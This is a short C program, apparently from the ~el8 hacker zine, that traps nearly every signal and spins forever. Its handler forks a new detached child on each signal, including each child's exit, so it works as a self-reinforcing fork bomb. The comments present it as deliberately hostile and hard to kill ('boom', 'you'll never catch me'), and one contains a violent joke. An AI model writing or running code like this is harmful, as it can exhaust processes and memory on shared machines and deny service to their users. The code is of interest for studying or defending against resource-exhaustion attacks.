/***********************************************
 * released under (E) licensing ...            *
 *        (E) RULES AND REGULATIONS            *
 * permission to use/rewrite/add     : granted *
 * permission to trojan/steal        : denied  *
 * permission to use illegally       : denied  *
 * permission to use on /dev/urandom : denied  *
 ***********************************************/
/* contact el8@press.co.jp for full license    */
/* code copyrighted by ~el8 -- don't infringe! */

// lame code. this shouldnt be used by anyone.
// compiles on AIX/HPUX, others?
// - PercY

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>

void sig(int s);
int main(void)
{
 register int i=0;
 for(i=0;i<63;i++) (void)signal(i,sig);
 /*
 signal(SIGHUP,sig); signal(SIGINT,sig); signal(SIGQUIT,sig); signal(SIGILL,sig);
 signal(SIGTRAP,sig); signal(SIGIOT,sig); signal(SIGBUS,sig); signal(SIGFPE,sig);
 signal(SIGKILL,sig); signal(SIGUSR1,sig); signal(SIGUSR2,sig); signal(SIGPIPE,sig);
 signal(SIGALRM,sig); signal(SIGTERM,sig); signal(SIGCHLD,sig); signal(SIGCONT,sig);
 signal(SIGSTOP,sig); signal(SIGTSTP,sig); signal(SIGTTIN,sig); signal(SIGTTOU,sig);
 signal(SIGURG,sig); signal(SIGXCPU,sig); signal(SIGXFSZ,sig); signal(SIGVTALRM,sig);
 signal(SIGPROF,sig); signal(SIGWINCH,sig); signal(SIGIO,sig); signal(SIGPWR,sig);
 signal(SIGSEGV,sig); + SIGJUNK's
 */
 for(;;);
          // lets just wait for some input, shall we?
          // just something nice an friendly
          // perhaps you can add something elite like raise(10);
          // or fcntl(stdout,F_SETFL,O_ASYNC);

}
void sig(int s)
{
  // we have the authority to kill a minority
  (void)signal(SIGCHLD,sig); // boom.
  if(!fork())                // wait until its too late.
  (void)fprintf(stderr,"fast as fast can be, you'll never catch me!\n");
  (void)malloc('A');
  (void)setsid();
}


syntax highlighted by Code2HTML, v. 0.9.1